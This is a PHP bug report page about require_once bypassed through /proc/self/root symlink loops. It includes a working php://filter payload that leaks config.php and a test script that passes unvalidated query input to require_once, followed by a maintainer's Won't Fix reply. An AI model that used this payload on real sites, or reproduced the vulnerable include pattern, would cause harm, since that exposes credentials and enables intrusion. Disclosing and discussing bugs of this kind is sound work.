php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #79980 require_once can include a file twice via symlink loops
Submitted: 2020-08-16 05:18 UTC Modified: 2021-03-09 14:26 UTC
Votes:4
Avg. Score:4.0 ± 1.0
Reproduced:1 of 3 (33.3%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: i at littlefisher dot me Assigned: cmb (profile)
Status: Wont fix Package: *Directory/Filesystem functions
PHP Version: 7.2.33 OS: Ubuntu18.04
Private report: No CVE-ID: None
 [2020-08-16 05:18 UTC] i at littlefisher dot me
Description:
------------
Normally, when we include a file via `require_once()` which has included before, PHP will prevent this behavior.

But when we set the file path to a symbol link, PHP will be fooled. An example in Test script as follows can demonstrate it. And assume there is some secret in `config.php`.

We can pass our payload to `content` query parameter, and then the PHP will resolve the file path to '/proc/24273/root/proc/self/root/var/www/html/config.php'.

Eventually, the `require_once` bypassed. We got the base64-encoded content of `config.php`.

Payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php

Test script:
---------------
/* index.php */
<?php
error_reporting(E_ALL);
require_once('config.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    require_once($content);
} 
/* config.php */
<?php
$MYSQL_HOST = '127.0.0.1';
$MYSQL_PORT = 3306;
$MYSQL_USERNAME = 'admin';
$MYSQL_PASSWORD = 'admin';

Expected result:
----------------
Excepted result is `config.php` cannot be included twice by the recursive symbollink.


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2021-03-09 14:26 UTC] cmb@php.net
-Status: Open +Status: Wont fix -Assigned To: +Assigned To: cmb
 [2021-03-09 14:26 UTC] cmb@php.net
Whenever a path is resolved, symlinks are followed up to LINK_MAX
(currently 32) to avoid infinite loops.  If this limit is exceeded
(as is obviously the case here), the path resolution fails, so
require_once actually works like require.

However, passing unvalidated user input to require/include (or
any other function which accepts stream wrapper URLs) is a *serious*
programming error.  Thus, no action is needed from us.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 12:01:31 2024 UTC